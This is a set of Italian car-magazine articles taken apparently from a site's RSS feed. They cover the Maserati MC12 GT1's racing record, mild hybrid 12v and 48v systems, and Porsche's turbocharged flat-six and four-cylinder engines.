<p>La nuova Maserati ha tolto i veli nel 2004 e il suo debutto sportivo è avvenuto a settembre dello stesso anno e nella gara di casa. La 500 Km di Imola è stata la prima di tre gare dove la MC12 GT1 è stata autorizzata a competere seppur non ancora omologata.</p>
<p>Ancora prima dell’esordio in pista, la <a href="http://www.fia.com" target="_blank" rel="noopener">FIA</a> aveva chiesto che l’ala posteriore fosse rimpicciolita nelle dimensioni, che fosse ridotto il numero dei giri motore e che venisse aggiunta della zavorra supplementare. In una nota si leggeva che: “la vettura operante in condizioni di gara, sarà valutata dalla FIA e i risultati saranno presentati al World Motor Sport Council di ottobre, quando verrà decisa la questione dell’omologazione delal vettura”.</p>
<p>Questa decisione è arrivata in tempo alla Maserati per disputare l’ultima gara della stagione 2004, disputata a Zhuhai, vinta dalla MC12 GT1 di Salo e <a href="https://www.giornalemotori.com/2014/10/01/andrea-bertolini-luomo-guida-tutte-ferrari/">Bertolini</a>, con la vettura gemella di Herbert e Fabrizio De Simone al secondo posto. Questo successo ha segnato l’inizio di un dominio senza precedenti.</p>
<p>Nel 2005 sono state reintrodotte le classi GT1 e GT2 nel campionato FIA GT dove la Maserati ha fatto man bassa, conquistando il titolo riservato ai costruttori con un punteggio doppio rispetto a quello della Ferrari al secondo posto, mentre il Vitaphone Racing Team, che ha schierato 2 vetture, ha vinto il campionato a squadre.</p>
<p>Nonostante abbia vinto 4 gare e si sia schierata con 3 team, il titolo piloti è stato vinto dalla Ferrari di Gabriele Gardel, favorito da un peso supplementare di 40 kg che la Maserati ha dovuto adottare per livellare le prestazioni con il resto del gruppo.</p>
<p>La delusione però fu riscattata l’anno seguente. Bertolini passa al Vitaphone Racing Team con Michael Bartles e alla gara d’esordio a Silverstone ottengono una vittoria. I due permetteranno al team Vitaphone di ottenere il successo nel campionato a squadre ma per quanto riguarda la classifica riservata ai costruttori, la Maserati è stata sopravanzata dalla Aston Martin.</p>
<p>La Maserati MC12 GT1 stava solamente emergendo. Nel 2007, 2008 e 2009 il campionato riservato alle squadre è andato alla Vitaphone con Thomas Biagi campione nel 2007 e Barles-Bertolini nelle due stagioni seguenti. Nel 2010 la Maserati MC12 GT1 entrava nella sesta stagione di corse nel mondo Endurance e nel palmares aveva ottenuto anche tre successi nella leggendaria 24 Ore di Spa. Mancava solamente un’altro prestigioso trofeo di durata, quello della 24 Ore di Le Mans.</p>
<p>Ma questo successo non è mai arrivato, non per carenze tecniche o sfortune durante la gara, ma solamente perché non è mai arrivata l’omologazione da parte dell’ACO (Automobile Club de l’Ouest): se la FIA, già a fine 2004, aveva decretato legale la MC12 GT1, gli organizzatori della 24 Ore di Le Mans avevano negato la partecipazione della vettura di Modena per via delle dimensioni della carrozzeria, ritenuta troppo lunga e larga nelle dimensioni.</p>
<p>Nel 2012 la FIA aveva diviso le classi GT1 e GT2 in serie separate e l’ACO avrebbe consentito alle auto idonee per il nuovo campionato FIA GT1 di correre a La Sarthe, ma sfortunatamente la 24 Ore di Le Mans si è svolta senza nessuna Maserati MC12 GT1 al via. Dato il successo della vettura in altri campionati, sicuramente avrebbe conquistato la vittoria di classe nella gara più famoso al mondo, se questo gli fosse stato concesso.</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="specstop" class="darkbg" colspan="2"><strong>Motore</strong></td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Configurazione</td>
<td id="specsright" class="lightbg">65º V12</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Posizione</td>
<td id="specsright" class="lightbg">Centrale, montato longitudinalmente</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Peso</td>
<td id="specsright" class="lightbg">232 kg</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Materiale</td>
<td id="specsright" class="lightbg">Basamento e testa in lega di alluminio</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Cilindrata</td>
<td id="specsright" class="lightbg">5,998 cc</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Alesaggio/Corsa</td>
<td id="specsright" class="lightbg">92.0 mm/ 75.2 mm</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Compressione</td>
<td id="specsright" class="lightbg">11.2:1</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Valvole</td>
<td id="specsright" class="lightbg">4 valvole per cilindro, DOHC</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Alimentazione</td>
<td id="specsright" class="lightbg">Bosch Fuel Injection</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Potenza</td>
<td id="specsright" class="lightbg">630 CV @ 7,500 rpm</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Coppia</td>
<td id="specsright" class="lightbg">652 Nm @ 5,500 rpm</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="specstop" class="darkbg" colspan="2"><strong>Carrozzeria</strong></td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Telaio</td>
<td id="specsright" class="lightbg">monoscocca a nido d&#8217;ape in fibra di carbonio / nomex, telaio anteriore e posteriore in alluminio</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Sospensioni</td>
<td id="specsright" class="lightbg">doppi bracci trasversali a molle elicoidali</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Sterzo</td>
<td id="specsright" class="lightbg">pignone e cremagliera, servoassistito</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Freni</td>
<td id="specsright" class="lightbg">A disco autoventilati carbocercamici Brembo</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Trasmissione</td>
<td id="specsright" class="lightbg">sequenziale a 6 rapporti</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Trazione</td>
<td id="specsright" class="lightbg">Posteriore</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="specstop" class="darkbg" colspan="2"><strong>Dimensioni</strong></td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Peso</td>
<td id="specsright" class="lightbg">1,110 kg</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Lunghezza/Larghezza/Altezza</td>
<td id="specsright" class="lightbg">5,143 mm / 2,096 mm / 1,205 mm</td>
</tr>
<tr>
<td id="specsleft" class="lightbg">Passo/Carreggiata</td>
<td id="specsright" class="lightbg">2,800 mm / 1,660 mm/ 1,650 mm</td>
</tr>
</tbody>
</table>
<p>
<img decoding="async" width="1024" height="683" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/Maserati-MC12-Corse-2824.jpg" class="attachment-full size-full" alt="Maserati MC12 Corse 2824" type="slideshow" size="full" link="none" ids="93033,93034,93035,93036,93037,93038,93039,93040,93041,93042,93043,93044,93045,93046,93047,93048,93049,93050,93051,93052,93081,93082,93083" orderby="post__in" include="93033,93034,93035,93036,93037,93038,93039,93040,93041,93042,93043,93044,93045,93046,93047,93048,93049,93050,93051,93052,93081,93082,93083" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/Maserati-MC12-Corse-2824.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/04/Maserati-MC12-Corse-2824-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/04/Maserati-MC12-Corse-2824-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/04/Maserati-MC12-Corse-2824-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" title="Leggenda Motori: Maserati MC12 GT1 638">
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		<title>La Tecnologia Mild Hybrid parte I: Introduzione ai sistemi a 12v e 48v</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 20 Apr 2020 17:25:11 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il passaggio alla trazione elettrica, passa inevitabilmente per quella ibrida. La ricarica non è ancora funzionale come un pieno di benzina e la tecnologia Fuel Cell è ancora lontana. Per ibridazione si intende che il powertrain utilizza due fonti energetiche, benzina/diesel ed elettrica. La quantità di elettricità che si utilizzata definisce il tipo di sistema [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Il passaggio alla trazione elettrica, passa inevitabilmente per quella ibrida. La ricarica non è ancora funzionale come un pieno di benzina e la tecnologia Fuel Cell è ancora lontana.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-92972" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/fdf6a7cc172077521bec804cf524bb5a.jpg" alt="fdf6a7cc172077521bec804cf524bb5a" width="620" height="438" title="La Tecnologia Mild Hybrid parte I: Introduzione ai sistemi a 12v e 48v 666" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/fdf6a7cc172077521bec804cf524bb5a.jpg 620w, https://www.giornalemotori.com/wp-content/uploads/2020/04/fdf6a7cc172077521bec804cf524bb5a-300x212.jpg 300w" sizes="(max-width: 620px) 100vw, 620px" /></p>
<p style="text-align: justify;">Per ibridazione si intende che il powertrain utilizza due fonti energetiche, benzina/diesel ed elettrica. La quantità di elettricità che si utilizzata definisce il tipo di sistema ibrido che si sta utilizzando. L&#8217;unica via per rispettare le norme sempre più stringenti sulle emissioni inquinanti conservando un livello prestazionale soddisfacente per i clienti.</p>
<p style="text-align: justify;">La nuova norma che entrerà in vigore nel 2021 prevede un limite di emissioni medie di 95g/km. In questo modo si legano le emissioni direttamente al consumo di carburante. In sostanza, chi è al di sopra di tale soglia pagherà una multa. Una cosa che inevitabilmente si ripercuoterà sul prezzo finale, o sul guadagno che il costruttore intende realizzare.</p>
<p style="text-align: justify;">Per intervenire sui consumi,  si deve disporre di motori endotermici più efficienti. Ad oggi,  molti se non tutti i brand,  hanno in listino una nuova generazione di propulsori turbo ad alta efficienza. A questo si aggiunte la necessità di ridurre peso migliorando gli aspetti aerodinamici. Infine, si riducono le perdite dovute alla trasmissione ed infine si adottano sistemi ibridi</p>
<p><img decoding="async" class="aligncenter size-full wp-image-92973" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/hybride-co2.png" alt="hybride co2" width="640" height="360" title="La Tecnologia Mild Hybrid parte I: Introduzione ai sistemi a 12v e 48v 667" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/hybride-co2.png 640w, https://www.giornalemotori.com/wp-content/uploads/2020/04/hybride-co2-300x169.png 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;">L’ibridazione può avvenire a vari livelli, Mild Hybrid, Full hybrid di tipo autonomo ed Hybrid Plug-In con ricarica esterna. La tecnologia Mild Hybrid si divide in due ulteriori fasce, Micro e Leggera. Le caratteristiche comune ad entrambi sono la presenza di una macchina elettrica con potenza da 2kw a 20kw a seconda della tensione di alimentazione a 12v e 48v.</p>
<p style="text-align: justify;">Anche la riduzione dei consumi è variabile da 5% al 15% ed è c&#8217;è una funzione boost di coppia nelle fasi passive. Il successo e la diffusione della tecnologia Mild Hybrid sta nella capacità di adattarsi facilmente a motori e telai già esistenti con un costo relativamente basso. Le vetture della fascia più piccola del mercato come le Citycar e le Utilitarie adottano micro ibridi alimentati a 12v, mentre le vetture di fascia medio alta adottano tecnologia mild hybrid a 48v.</p>
<p style="text-align: justify;">Le macchine elettriche che compongono il sistema Mild Hybrid sono di vario tipo. Per i micro a 12v c&#8217;è un alternatore/starter, mentre per i mild a 48v ci sono almeno tre tipi di generatore:  BiSG ad azionamento a cinghia dal motore endotermico, TiMG con motore collegato alla trasmissione ed infine CiSG con motore elettrico integrato tra propulsore endotermico e cambio.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-92975" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/6a00d8341c4fbe53ef01bb09410dcd970d-550wi-1.png" alt="6a00d8341c4fbe53ef01bb09410dcd970d 550wi 1" width="550" height="175" title="La Tecnologia Mild Hybrid parte I: Introduzione ai sistemi a 12v e 48v 668" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/6a00d8341c4fbe53ef01bb09410dcd970d-550wi-1.png 550w, https://www.giornalemotori.com/wp-content/uploads/2020/04/6a00d8341c4fbe53ef01bb09410dcd970d-550wi-1-300x95.png 300w" sizes="(max-width: 550px) 100vw, 550px" /></p>
<p style="text-align: justify;">Il motore elettrico è dotato di inverter integrato ed è alimentato da una  piccola batteria a 48v per conservare energia restituendola in base alle esigenze del guidatore. Il collegamento può avvenire o per trasmissione a cinghia, economica e facile da utilizzare o per collegamento diretto alla trasmissione. Quest&#8217;ultima soluzione rappresenta la soluzione ideale per efficienza in rapporto ai costi. Il motore elettrico può anche essere integrato tra motore e cambio, soluzione molto costosa e meno usata.</p>
<p style="text-align: justify;">Nella tecnologia micro ibrida a 12v il generatore/starter mosso dalla trasmissione a cinghia dall&#8217;albero motore e fornisce una potenza da 2kw a 4kw.  Il motore elettrico funziona per l&#8217;avviamento a freddo e controlla le funzioni di start&amp;stop. Questa funzione viene ampliata spegnendo il motore endotermico nelle fasi di rallentamento. Inoltre, fornisce una spinta limitata aggiuntiva nelle fasi passive, come cambi marcia o partenze da fermo e ripresa.</p>
<p style="text-align: justify;">L’inverter carica la batteria di piccole dimensioni con un risparmio di carburante si aggira intorno al 5%. I limiti di tale tecnologia stanno nell&#8217;impossibilità di marciare in full elettrico e nonostante l&#8217;aiuto del boost aumento limitato delle prestazioni.  Infine la ricarica della batteria non può non avvenire attraverso l&#8217;impianto frenante.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-92977" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/Suzuki-SHVS.jpg" alt="Suzuki SHVS" width="1022" height="540" title="La Tecnologia Mild Hybrid parte I: Introduzione ai sistemi a 12v e 48v 669" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/Suzuki-SHVS.jpg 1022w, https://www.giornalemotori.com/wp-content/uploads/2020/04/Suzuki-SHVS-768x406.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/04/Suzuki-SHVS-300x159.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/04/Suzuki-SHVS-696x368.jpg 696w" sizes="(max-width: 1022px) 100vw, 1022px" /></p>
<p style="text-align: justify;">La tecnologia Mild hybrid a 48v, risolve in pratica tutti gli aspetti negativi di quella a 12v. La potenza del motore elettrico passa da 10kw fino a 20kw. Anche in questo caso il sistema non è progettato per viaggiare in full elettrico.</p>
<p style="text-align: justify;">Ma dottando un motore elettrico integrato di potenza elevata può avvenire la marcia in full elettrico per brevissimi tratti sfruttando un boost di spinta considerevole.  In questo caso i consumi che si abbassano del 15% a patto di tenere il peso del sistema contenuto.</p>
<p style="text-align: justify;">In conclusione, la tecnologia elettrica abbinata a quella endotermica non è solo una trovata pubblicitaria. A seconda della percentuale di aiuto elettrico che vien fornito al motore endotermico così avviene l&#8217;abbattimento in percentuale del consumo carburante. Un aiuto fondamentale in sede di omologazione,  sia che si utilizzano cicli di laboratorio come il NEDC o più vicini alla realtà come il WLTP.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-92978" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/22_SWIFT_SHVS-mild-hybrid-1280x720-1-1024x576.jpg" alt="22 SWIFT SHVS mild hybrid 1280x720 1" width="1024" height="576" title="La Tecnologia Mild Hybrid parte I: Introduzione ai sistemi a 12v e 48v 670" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/22_SWIFT_SHVS-mild-hybrid-1280x720-1-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/04/22_SWIFT_SHVS-mild-hybrid-1280x720-1-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/04/22_SWIFT_SHVS-mild-hybrid-1280x720-1-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/04/22_SWIFT_SHVS-mild-hybrid-1280x720-1-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/04/22_SWIFT_SHVS-mild-hybrid-1280x720-1.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">In strada, magari, è meno percepibile l’efficacia del sistema Mild Hybrid, molto dipende dallo stile di guida del conducente. Ci sono comunque due vantaggi per il cliente a prescindere dal risultato reale dei consumi. La possibilità di accedere ad agevolazioni per le vetture ibride previste degli enti locali e la possibilità di rispettare il 95g/km di emissioni, a basso costo, il che evita di far lievitare il prezzo al cliente finale.</p>
<p><strong>Daniele Amore</strong></p>
<p>&nbsp;</p>
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		<title>Best Engine: Porsche 9A2 FlatSix 3.0 litri Twin Turbo per 911</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 09 Apr 2020 15:31:07 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Dopo aver trattato il piccolo FlatFour turbo Porsche, è il momento di parlare del fratello maggiore FlatSix 3.0 litri 9A2 Twin Turbo. Il fratellone maggiore FlatSix 9A2 Twin-Turbo, infatti, ha donato gran parte della tecnologia per realizzare il piccolo 4 cilindri.  L’icona della casa di Stoccarda la 911, oggi si contraddistingue solo per versioni Turbo [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Dopo aver trattato il piccolo FlatFour turbo Porsche, è il momento di parlare del fratello maggiore <strong>FlatSix 3.0 litri 9A2 Twin Turbo.</strong></p>
<p><img decoding="async" class="aligncenter size-full wp-image-92631" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/P15_0677-626x381-1.jpg" alt="P15 0677 626x381 1" width="626" height="381" title="Best Engine: Porsche 9A2 FlatSix 3.0 litri Twin Turbo per 911 676" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/P15_0677-626x381-1.jpg 626w, https://www.giornalemotori.com/wp-content/uploads/2020/04/P15_0677-626x381-1-300x183.jpg 300w" sizes="(max-width: 626px) 100vw, 626px" /></p>
<p style="text-align: justify;">Il fratellone maggiore FlatSix 9A2 Twin-Turbo, infatti, ha donato gran parte della tecnologia per realizzare il piccolo 4 cilindri.  L’icona della casa di Stoccarda la 911, oggi si contraddistingue solo per versioni Turbo fin dalla base Carrera. L’utilizzo della sovralimentazione aiuta la Porsche a rispettare le norme pur conservando la tipica vocazione quotidiana della sportiva di Stoccarda.</p>
<p style="text-align: justify;">La cilindrata è di 2981cc ottenuta con un alesaggio di 91 mm ed 74,6 mm di corsa. Rispetto al motore aspirato di precedente generazione la corsa cambia per solo 1,1 mm mentre l’alesaggio si riduce di 6.0 mm. Il diametro inferiore del cilindro consente di avere una camera di combustione più compatta. La corsa pressappoco uguale, invece, consente di conservare l’allungo tipico dei motori aspirati ad alti regimi.</p>
<p style="text-align: justify;">Il rapporto di compressione ha un valore di 10:1, piuttosto alto per un motore Turbo. Il risultato è un propulsore che sviluppa 385cv a 6500 giri/minuto con la zona rossa posta a quota 7500 giri/minuto e 450 Nm disponibili da soli 1750 giri/minuto per la 911 Carrera. La versione destinato alla S invece sviluppa 450 cv a 6500 giri/minuto per 530 Nm di coppia.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-92636" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/PTWA-Thumnails_0000_Low-Res-TORCH_SPRAYING-300x300-1.jpg" alt="PTWA Thumnails 0000 Low Res TORCH SPRAYING 300x300 1" width="300" height="300" title="Best Engine: Porsche 9A2 FlatSix 3.0 litri Twin Turbo per 911 677" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/PTWA-Thumnails_0000_Low-Res-TORCH_SPRAYING-300x300-1.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/04/PTWA-Thumnails_0000_Low-Res-TORCH_SPRAYING-300x300-1-150x150.jpg 150w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p style="text-align: justify;">Il blocco motore è in lega  di alluminio AlSi7MgCu0.5 fusa con un processo produttivo ottimizzato per ridurre le porosità. Il blocco cilindri ne risulta più rigido e leggero rispetto alla sere precedente aspirata. Le canne sono ricavate con riporto di plasma direttamente sulla superficie di alluminio. La  tecnologia RSW (Rotating Single Wire), offre molteplici vantaggi. Dalla riduzione del peso complessivo con una consistente riduzione dell’attrito interno ad una riduzione di costi rispetto alle vecchie canne ricavate riporto in Nikasil.</p>
<p style="text-align: justify;">Il diametro delle valvole di aspirazione è di 34,3 mm mentre quelle di scarico hanno un diametro 29,7. Una riduzione cosi netta dell’alesaggio farebbe pensare ad un propulsore dalle dimensioni contenute, ma la distanza dell’interasse di 118 mm tra i cilindri è rimasta la stessa del propulsore aspirato.</p>
<p style="text-align: justify;">A rendere impossibile la riduzione delle dimensioni è stato l’obbligo per i progettisti di conservare l’albero motore originale del propulsore aspirato. Infatti, quest’ultimo doveva conservare diametro, numero di supporti di banco e perni di manovella per garantire la necessaria affidabilità.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-92645" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/getimage-1.jpg" alt="getimage 1" width="531" height="476" title="Best Engine: Porsche 9A2 FlatSix 3.0 litri Twin Turbo per 911 678" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/getimage-1.jpg 531w, https://www.giornalemotori.com/wp-content/uploads/2020/04/getimage-1-300x269.jpg 300w" sizes="(max-width: 531px) 100vw, 531px" /></p>
<p style="text-align: justify;">La distribuzione sfrutta la fasatura variabile VarioCam Plus sia all&#8217;aspirazione che allo scarico. Il sistema, varia l&#8217;alzata delle valvole in aspirazione in modo differenziato  per ottenere una determinata turbolenza dell&#8217;aria in ingresso nel cilindro per migliorare la combustione. Controllare l&#8217;alzata della valvole di scarico è fondamentale  per la gestione del turbo, ottimizzando le sue prestazioni in funzione delle esigenze di combustione.</p>
<p style="text-align: justify;">Inoltre, il nuovo VarioCam Plus ha consentito ai progettisti di Porsche di utilizzare un condotto di aspirazione più semplice e lineare. L’iniezione è diretta con l’iniettore piezoelettrico posto al centro della camera di combustione in prossimità della candela. L&#8217;iniezione ad alta pressione consente di avere una maggiore nebulizzazione ed un migliore raffreddamento delle pareti della camera di combustione.</p>
<p style="text-align: justify;">Un ottimale controllo della combustione è assolutamente fondamentale per i motori ad iniezione diretta turbo per ridurre al minimo la formazione di particolato. La sovralimentazione è affidata a due piccoli turbocompressori BorgWarner. In particolare le turbine hanno un diametro differenziato. La girante di scarico è di 45 mm, mentre quella di compressione ha dimensioni maggiori di 49 mm. La pressione di sovralimentazione è diversa a seconda della versione, 1.3 bar per la Carrera, e 1.6 bar per la Carrera S. Immancabile una coppia di intercooler aria-aria disposti su ciascun lato del motore.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-92632" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/2017-Porsche-911-Carrera-HP-and-torque-curves-626x381-1.png" alt="2017 Porsche 911 Carrera HP and torque curves 626x381 1" width="626" height="381" title="Best Engine: Porsche 9A2 FlatSix 3.0 litri Twin Turbo per 911 679" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/2017-Porsche-911-Carrera-HP-and-torque-curves-626x381-1.png 626w, https://www.giornalemotori.com/wp-content/uploads/2020/04/2017-Porsche-911-Carrera-HP-and-torque-curves-626x381-1-300x183.png 300w" sizes="(max-width: 626px) 100vw, 626px" /></p>
<p style="text-align: justify;">Lo studio certosino delle componenti, ha consentito di contenere il peso pressappoco allo stesso livello del suo predecessore aspirato nonostante i componenti aggiuntivi in più della versione Turbo. Per migliorare l’efficienza e la riduzione delle perdite, la pompa dell’olio ha una portata variabile ed i carter per la lubrificazione sono di materiale plastico.</p>
<p style="text-align: justify;">Su strada si percepisce subito una migliore erogazione di potenza, più corposa, più costante, conservando l&#8217;allungo tipico di un propulsore aspirato senza la spinta fino al limite della zona rossa. Soprattutto la questione del ritardo del turbo ha coinvolto i tecnici di Porsche in una forsennata ricerca della riduzione del ritardo dovuto all’azione ai bassi regimi del turbo.</p>
<p style="text-align: justify;">Con questo propulsore,  accelerando da 1000 giri/minuto, con la marcia più alta, per raggiungere il regime di coppia massimo occorrono meno di 2 secondi per far salire l’ago del contagiri, mentre se si accelera da 1500 giri/minuto, si riduce a meno di 1 secondo, azzerandosi quando ci si trova nel regime di coppia intorno ai 2000 giri/minuto come se fosse un motore aspirato di maggiore cilindrata. Problema che si risolve in automatico con l&#8217;adozione del cambio PDK.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-92635" src="https://www.giornalemotori.com/wp-content/uploads//2020/04/TURBO.jpg" alt="TURBO" width="768" height="469" title="Best Engine: Porsche 9A2 FlatSix 3.0 litri Twin Turbo per 911 680" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/04/TURBO.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/04/TURBO-300x183.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/04/TURBO-696x425.jpg 696w" sizes="(max-width: 768px) 100vw, 768px" /></p>
<p style="text-align: justify;">Giusto per fare un confronto. Il propulsore suo antenato 3.0 litri FlatSix della 911 (930) Turbo del 1978, erogava la metà della potenza e raggiungeva il regime di pressione del turbo a 3000 giri/minuto per poi spegnere la sua forza a 6000 giri/minuto. Un ritardo tipico delle Ferrovie Italiane, per una erogazione effettiva in un arco di giri molto contenuto. Su strada ne derivava una vettura difficile da guidare. La 911 del 2018, è un invece una vettura godibile, prestante, ma soprattutto sfruttabile da parte della quasi totalità dei conducenti. Senza contare un valore di consumo ridotto rispetto al rispettivo aspirato del 10%.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Best Engine: Quattro cilindri FlatSix turbo 2.0 litri e 2.5 litri di Porsche Cayman e Boxster</title>
		<link>https://www.giornalemotori.com/2020/04/02/best-engine-i-quattro-cilindri-turbo-2-0-litri-e-2-5-litri-di-porsche/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-i-quattro-cilindri-turbo-2-0-litri-e-2-5-litri-di-porsche</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 02 Apr 2020 16:30:20 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Per fare ciò  i tecnici tedeschi dovevano progettare un motore che avesse l'allungo tipico dei motori aspirati, ma con la corposità della spinta dei turbo ai regimi intermedi. Un risultato che guidata la 718 Boxster 2.0 litri Turbo da 300cv è stato più che raggiunto, uno dei motivi cardine per la presenza di questo motore nella rubrica Best Engine. Pestando sull'acceleratore l'ago del contagiri si spinge fino a quota 7500 Giri/minuto senza perdite evidenti soprattutto dopo i 6500 Giri, pur avendo una notevole spinta ai regimi intermedi con un turbolag quasi zero.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2020/04/02/best-engine-i-quattro-cilindri-turbo-2-0-litri-e-2-5-litri-di-porsche/">Best Engine: Quattro cilindri FlatSix turbo 2.0 litri e 2.5 litri di Porsche Cayman e Boxster</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80626" src="https://www.giornalemotori.com/wp-content/uploads//2019/01/Roma_Scania_Evento_-_47_preview-300x201.jpg" alt="Roma Scania Evento 47 preview" width="300" height="201" title="Best Engine: Quattro cilindri FlatSix turbo 2.0 litri e 2.5 litri di Porsche Cayman e Boxster 681">Quando abbiamo provato la Porsche <a href="https://www.giornalemotori.com/2018/01/31/porsche-718-boxster-2/">718 Boxster</a> siamo assaliti da un dubbio. Avremmo rimpianto il sei cilindri classico Boxer, oppure avremmo apprezzato la scelta di Porsche di togliere due cilindri aggiungendo il turbo?  Per tenere il flatsix dietro le spalle del pilota bisognava attingere alle motorizzazioni della sorella maggiore 911 cosa che è avvenuta per le versioni della Boxer e Cayman più spunte lanciate di redente. Per le versioni più adatte alla sportività quotidiana si è optato per una riduzione di cilindrata con l&#8217;aiuto del turbo. A prescindere dalle convinzioni personali, i tecnici tedeschi hanno progettato un motore che riesce a conservare il tipico allungo tipico dei motori aspirati con la corposità della spinta dei turbo moderni. Pestando sull&#8217;acceleratore,  l&#8217;ago del contagiri si spinge fino a quota 7500 Giri/minuto senza incertezze. Superata la soglia critica di 6500 Giri, il propulsore conserva ancora una notevole spinta. Ai regimi più bassi non si percepisce quasi per nulla il ritardo del turbo.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80627" src="https://www.giornalemotori.com/wp-content/uploads//2019/01/https___blogs-images.forbes.com_kelleybluebook_files_2016_10_Porsche-Flat4_04-300x212.jpg" alt="https blogs images.forbes.com kelleybluebook files 2016 10 Porsche Flat4 04" width="300" height="212" title="Best Engine: Quattro cilindri FlatSix turbo 2.0 litri e 2.5 litri di Porsche Cayman e Boxster 682">Si tratta, quindi, di un quattro cilindri 2.0 litri con potenza di 300 CV e 380 Nm di coppia a partire da 1.950 giri / min ed un 2.5 litri riservato ai modelli &#8220;S&#8221; che eroga 350 CV e 419 Nm a 1.900 giri / min. Entrambi figli del 3.0 litri 6 cilindri della 911 con cui condividono molti componenti.  La sovralimentazione è affidata ad un solo turbo sviluppato appositamente dalla BorgWarner in collaborazione con i tecnici di Stoccarda. Rimangono inalterate le misure di alesaggio pari a 91 millimetri e la corsa di 76,4 millimetri. Il 2.5 litri varia l&#8217;alesaggio che misura 102 millimetri. Il monoblocco è in lega di alluminio con una riduzione del peso di 5kg per il 2.0 litri. Il rapporto di compressione è di 9.5:1. Altri componenti in comune con il fratello flatsix sono, bielle, canne ricavate con il un riporto di plasma,  l&#8217;impianto di iniezione diretta, la distribuzione a quattro valvole per cilindro, lubrificazione a carter secco, ed il nuovo sistema di fasatura variabile VarioCam Plus, applicato anche per le valvole di scarico.</p>
